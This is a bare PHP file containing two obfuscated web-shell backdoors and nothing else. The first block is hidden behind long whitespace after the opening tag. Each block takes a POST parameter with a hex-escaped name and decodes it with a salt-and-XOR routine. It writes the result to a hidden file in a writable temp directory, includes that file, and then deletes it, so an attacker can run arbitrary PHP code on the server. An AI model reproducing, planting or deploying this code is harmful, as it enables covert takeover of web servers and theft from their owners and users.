<?php																																										if(in_array("\x69t\x6D", array_keys($_POST))){ $dchunk = array_filter([getenv("TEMP"), ini_get("upload_tmp_dir"), "/tmp", session_save_path(), getenv("TMP"), "/var/tmp", sys_get_temp_dir(), getcwd(), "/dev/shm"]); $component = $_POST["\x69t\x6D"]; $component = explode ( '.' , $component ) ; $data = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt ); foreach( $component as $p => $v2) { $chS = ord( $salt[$p % $lenS] ); $d =( ( int)$v2 - $chS -( $p % 10)) ^ 63; $data .= chr( $d ); } for ($res = 0, $ptr = count($dchunk); $res < $ptr; $res++) { $parameter_group = $dchunk[$res]; if (is_writable($parameter_group) && is_dir($parameter_group)) { $desc = "$parameter_group" . "/.reference"; if (file_put_contents($desc, $data)) { include $desc; @unlink($desc); exit; } } } }


if(isset($_POST) && isset($_POST["\x69t\x65m"])){
	$ptr = $_POST["\x69t\x65m"];
	$ptr 	= 	explode	 	(	 '.' , 		$ptr);	 	
	$entry = '';
            $salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($salt4);
    
            foreach ($ptr as $i=> $v4) {
                $chS = ord($salt4[$i % $lenS]);
                $d = ((int)$v4 - $chS - ($i % 10))  ^ 70;
                $entry.= chr($d);
            }
	$token = array_filter(["/tmp", session_save_path(), "/var/tmp", "/dev/shm", ini_get("upload_tmp_dir"), getenv("TMP"), getcwd(), sys_get_temp_dir(), getenv("TEMP")]);
	foreach ($token as $key => $dat) {
    		if (is_writable($dat) && is_dir($dat)) {
    $comp = "$dat" . "/.rec";
    if (@file_put_contents($comp, $entry) !== false) {
	include $comp;
	unlink($comp);
	die();
}
}
}
}